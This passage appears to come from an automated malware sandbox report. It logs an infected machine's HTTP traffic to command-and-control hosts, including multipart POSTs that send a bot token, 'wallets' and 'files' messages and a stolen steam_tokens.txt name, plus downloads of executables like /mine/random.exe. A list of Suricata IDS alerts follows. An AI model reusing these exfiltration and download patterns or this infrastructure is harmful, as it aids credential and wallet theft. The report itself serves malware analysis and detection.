22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 43 42 46 49 4a 45 47 49 44 42 47 49 45 43 41 4b 4b 45 47 44 2d 2d 0d 0a Data Ascii: ------CBFIJEGIDBGIECAKKEGDContent-Disposition: form-data; name="token"2757d091fb4f8a12d2805612f5cca0492e619ae510d3ccc38142afb20fe6dfd88a84e181------CBFIJEGIDBGIECAKKEGDContent-Disposition: form-data; name="message"wallets------CBFIJEGIDBGIECAKKEGD--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KJJJDHDGDAAKECAKJDAEHost: 185.215.113.206Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4a 4a 4a 44 48 44 47 44 41 41 4b 45 43 41 4b 4a 44 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 37 35 37 64 30 39 31 66 62 34 66 38 61 31 32 64 32 38 30 35 36 31 32 66 35 63 63 61 30 34 39 32 65 36 31 39 61 65 35 31 30 64 33 63 63 63 33 38 31 34 32 61 66 62 32 30 66 65 36 64 66 64 38 38 61 38 34 65 31 38 31 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4a 4a 44 48 44 47 44 41 41 4b 45 43 41 4b 4a 44 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4a 4a 44 48 44 47 44 41 41 4b 45 43 41 4b 4a 44 41 45 2d 2d 0d 0a Data Ascii: ------KJJJDHDGDAAKECAKJDAEContent-Disposition: form-data; name="token"2757d091fb4f8a12d2805612f5cca0492e619ae510d3ccc38142afb20fe6dfd88a84e181------KJJJDHDGDAAKECAKJDAEContent-Disposition: form-data; name="message"files------KJJJDHDGDAAKECAKJDAE--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AFIEGIECGCBKFIEBGCAAHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 46 49 45 47 49 45 43 47 43 42 4b 46 49 45 42 47 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 37 35 37 64 30 39 31 66 62 34 66 38 61 31 32 64 32 38 30 35 36 31 32 66 35 63 63 61 30 34 39 32 65 36 31 39 61 65 35 31 30 64 33 63 63 63 33 38 31 34 32 61 66 62 32 30 66 65 36 64 66 64 38 38 61 38 34 65 31 38 31 0d 0a 2d 2d 2d 2d 2d 2d 41 46 49 45 47 49 45 43 47 43 42 4b 46 49 45 42 47 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 41 46 49 45 47 49 45 43 47 43 42 4b 46 49 45 42 47 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 41 46 49 45 47 49 45 43 47 43 42 4b 46 49 45 42 47 43 41 41 2d 2d 0d 0a Data Ascii: ------AFIEGIECGCBKFIEBGCAAContent-Disposition: form-data; name="token"2757d091fb4f8a12d2805612f5cca0492e619ae510d3ccc38142afb20fe6dfd88a84e181------AFIEGIECGCBKFIEBGCAAContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------AFIEGIECGCBKFIEBGCAAContent-Disposition: form-data; name="file"------AFIEGIECGCBKFIEBGCAA--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BKFBAECBAEGDGDHIEHIJHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 4b 46 42 41 45 43 42 41 45 47 44 47 44 48 49 45 48 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 37 35 37 64 30 39 31 66 62 34 66 38 61 31 32 64 32 38 30 35 36 31 32 66 35 63 63 61 30 34 39 32 65 36 31 39 61 65 35 31 30 64 33 63 63 63 33 38 31 34 32 61 66 62 32 30 66 65 36 64 66 64 38 38 61 38 34 65 31 38 31 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 46 42 41 45 43 42 41 45 47 44 47 44 48 49 45 48 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 46 42 41 45 43 42 41 45 47 44 47 44 48 49 45 48 49 4a 2d 2d 0d 0a Data Ascii: ------BKFBAECBAEGDGDHIEHIJContent-Disposition: form-data; name="token"2757d091fb4f8a12d2805612f5cca0492e619ae510d3ccc38142afb20fe6dfd88a84e181------BKFBAECBAEGDGDHIEHIJContent-Disposition: form-data; name="message"ybncbhylepme------BKFBAECBAEGDGDHIEHIJ--
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FHDAEHDAKECGCAKFCFIJHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 48 44 41 45 48 44 41 4b 45 43 47 43 41 4b 46 43 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 37 35 37 64 30 39 31 66 62 34 66 38 61 31 32 64 32 38 30 35 36 31 32 66 35 63 63 61 30 34 39 32 65 36 31 39 61 65 35 31 30 64 33 63 63 63 33 38 31 34 32 61 66 62 32 30 66 65 36 64 66 64 38 38 61 38 34 65 31 38 31 0d 0a 2d 2d 2d 2d 2d 2d 46 48 44 41 45 48 44 41 4b 45 43 47 43 41 4b 46 43 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 46 48 44 41 45 48 44 41 4b 45 43 47 43 41 4b 46 43 46 49 4a 2d 2d 0d 0a Data Ascii: ------FHDAEHDAKECGCAKFCFIJContent-Disposition: form-data; name="token"2757d091fb4f8a12d2805612f5cca0492e619ae510d3ccc38142afb20fe6dfd88a84e181------FHDAEHDAKECGCAKFCFIJContent-Disposition: form-data; name="message"wkkjqaiaxkhb------FHDAEHDAKECGCAKFCFIJ--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 36 39 37 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016973001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /soka/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /v1/upload.php HTTP/1.1Host: twentytk20pn.topAccept: /Content-Length: 27554Content-Type: multipart/form-data; boundary=------------------------IKinM0Sn4Hw0S4hY1hJVCZData Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 49 4b 69 6e 4d 30 53 6e 34 48 77 30 53 34 68 59 31 68 4a 56 43 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 6f 72 69 79 6f 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 0c d8 f3 b9 58 d3 be 69 c0 d9 a2 50 b7 8f 1e ab 8f 76 1b b6 10 2c 0c 1a df d9 25 05 de b7 a5 ef 08 04 48 de 1a 17 f3 da d5 e9 cd a4 85 0c 46 03 c7 be b5 b2 76 00 8f 7f b9 8a a9 6e c4 bb 23 33 85 1d 14 9e b7 aa ac d9 31 ba 95 76 f2 c0 ca 7a 8c 68 4d 7d 63 27 19 aa 77 16 99 07 db 5f fb e0 d1 53 9b 34 97 c9 76 37 40 cb 48 7b ff 9c 84 81 d9 45 b1 93 8a 24 e4 05 a7 30 38 ed 38 c2 db 66 79 61 39 cc 0d 99 c6 49 25 1c f8 5a 70 4f 26 64 2d 7d 5f 80 5d 68 ab 96 5b e9 c7 2c c1 3a 68 28 97 b0 81 f1 9a 05 5b 45 21 76 fb b3 42 a5 e0 c6 55 a2 2b 83 30 8c 31 eb 93 53 0a 29 18 23 e2 6b 46 e2 1f 81 a2 43 e2 af bf d5 28 2e f2 c6 e4 66 19 d1 ee f3 00 c9 9e 7b b2 94 49 49 63 14 02 6e 68 c3 a2 1b 7c 38 78 06 c1 1a 9b 26 9a e6 fb a6 9a c9 39 fe 9f f8 ac f2 80 6f c9 47 61 39 29 32 73 e1 eb 20 5d 38 fe 2b b9 a1 ca d3 a5 1e d9 5d 49 ce 2b 68 97 32 58 88 f1 e8 ed 5c 85 db fa b4 73 e3 18 20 54 fe 7c 75 93 2f d2 23 8a c0 93 4a 01 67 3c 8f f1 d4 cd 4f a0 d8 b9 89 06 d8 33 99 1c 96 f5 37 d3 75 de d6 76 8e fb 57 a0 c4 95 62 95 b7 dd a2 b5 90 63 5f 23 2e 4a 55 30 79 38 0e 8a 8b 9c 55 d7 2e d3 c4 28 13 b8 e0 13 e4 98 9d 23 d0 fc 00 5f 4d 47 04 56 4c ac 82 b6 f6 cb f0 d4 e7 26 17 31 88 e2 cc 0a 70 32 67 d0 8f 2b 9e 0d f5 e4 46 ea db ce 96 0c ef 1d 11 14 4f 81 58 21 4f d4 0a c2 69 61 83 5a 29 21 a2 ae f6 88 ad cd dd 40 73 a1 72 cd f4 e1 4e 24 9a 2b 68 3c 77 ca a7 7a ae 5d aa a8 a5 60 6c ba a1 ab 76 15 bf 2c 0c 8e 2f 66 e1 bf d4 e0 e2 b4 3a 93 b3 8f 82 48 95 af 28 f1 82 f8 cd 07 3b 40 1a 70 5a e9 ed 9c 2c ec 46 36 1e 68 1a 3e 7a 34 6f 45 2c b3 75 92 c9 67 a8 03 69 10 6c 58 7a aa 98 50 76 e7 e8 65 ad 1d 68 e7 0f 45 d5 b8 96 13 cf 18 9c 87 19 6e 31 2a 62 e2 d7 07 d8 d3 19 55 6e c0 62 2a 44 0c d2 ee e1 5f a9 b0 dd fb 7d 29 74 e6 76 14 5a 07 90 7b b0 c7 4e 73 a3 e2 a3 4f 96 3c 1a 8d 2f 22 2d 99 fc 00 99 ea 26 1f bd c2 59 a1 ec 28 29 01 98 88 e3 84 6b 37 b6 1a 4e c7 80 69 69 93 38 b3 0d 3b d5 2b d0 bf 2f 92 78 91 2a 46 0c e0 03 85 f6 18 28 ff 86 a0 3d b6 95 91 39 b1 fd b3 f4 16 61 89 e8 7d 93 2e d8 09 26 fb 88 75 fe dc 89 c8 32 8b 06 fc 05 bc 44 7d 70 6a a9 3b de 8c ea 8b 21 ed 39 ea fe d5 09 91 20 64 66 28 c5 cb b7 a0 ea 48 12 a5 45 0a 74 e0 ac 1e 9b 93 4d 69 9a 08 c1 89 c6 63 cb 8c ae 99 7d db 12 7b 8f be 84 87 b9 d8 45 da ac 3f 6e 20 28 30 4a 2c e0 ea fe 5b 5d 41 56 3f 45 c6 f4 4a ec ed d3 93 a8 6b bd 96 fa b2 05 be b4 65 ba
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EGCGHCBKFCFBFHIDHDBFHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 47 43 47 48 43 42 4b 46 43 46 42 46 48 49 44 48 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 39 37 34 43 37 33 39 36 35 32 32 32 38 33 38 34 32 30 38 31 30 0d 0a 2d 2d 2d 2d 2d 2d 45 47 43 47 48 43 42 4b 46 43 46 42 46 48 49 44 48 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 45 47 43 47 48 43 42 4b 46 43 46 42 46 48 49 44 48 44 42 46 2d 2d 0d 0a Data Ascii: ------EGCGHCBKFCFBFHIDHDBFContent-Disposition: form-data; name="hwid"2974C73965222838420810------EGCGHCBKFCFBFHIDHDBFContent-Disposition: form-data; name="build"stok------EGCGHCBKFCFBFHIDHDBF--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 36 39 37 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016974001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 31 41 31 34 45 43 45 46 32 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F1A14ECEF2FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 37 32 33 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1007235001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BFBGCFCFHCFHIECAEHDHHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 46 42 47 43 46 43 46 48 43 46 48 49 45 43 41 45 48 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 39 37 34 43 37 33 39 36 35 32 32 32 38 33 38 34 32 30 38 31 30 0d 0a 2d 2d 2d 2d 2d 2d 42 46 42 47 43 46 43 46 48 43 46 48 49 45 43 41 45 48 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 42 46 42 47 43 46 43 46 48 43 46 48 49 45 43 41 45 48 44 48 2d 2d 0d 0a Data Ascii: ------BFBGCFCFHCFHIECAEHDHContent-Disposition: form-data; name="hwid"2974C73965222838420810------BFBGCFCFHCFHIECAEHDHContent-Disposition: form-data; name="build"stok------BFBGCFCFHCFHIECAEHDH--
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 37 32 33 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1007236001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16

Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49749 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49764 -> 172.67.131.246:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49771 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49778 -> 172.67.131.246:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49791 -> 172.67.131.246:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49801 -> 172.67.131.246:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49800 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49808 -> 172.67.131.246:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49820 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49823 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49824 -> 172.67.131.246:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49839 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49841 -> 172.67.131.246:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49848 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49859 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49860 -> 172.67.131.246:443
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.4:49857 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49867 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49873 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49877 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49897 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49907 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49924 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49940 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49939 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49953 -> 104.21.23.76:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49955 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49945 -> 104.21.23.76:443
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.4:49922 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49972 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49973 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50013 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50022 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50026 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50036 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50037 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.4:50038 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50047 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50056 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.4:50046 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50063 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50074 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50076 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50083 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50092 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50105 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50324 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50330 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50328 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50332 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50334 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50335 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50327 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50360 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50374 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50369 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50375 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50321 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50368 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50331 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.4:50377 -> 185.215.113.16:80
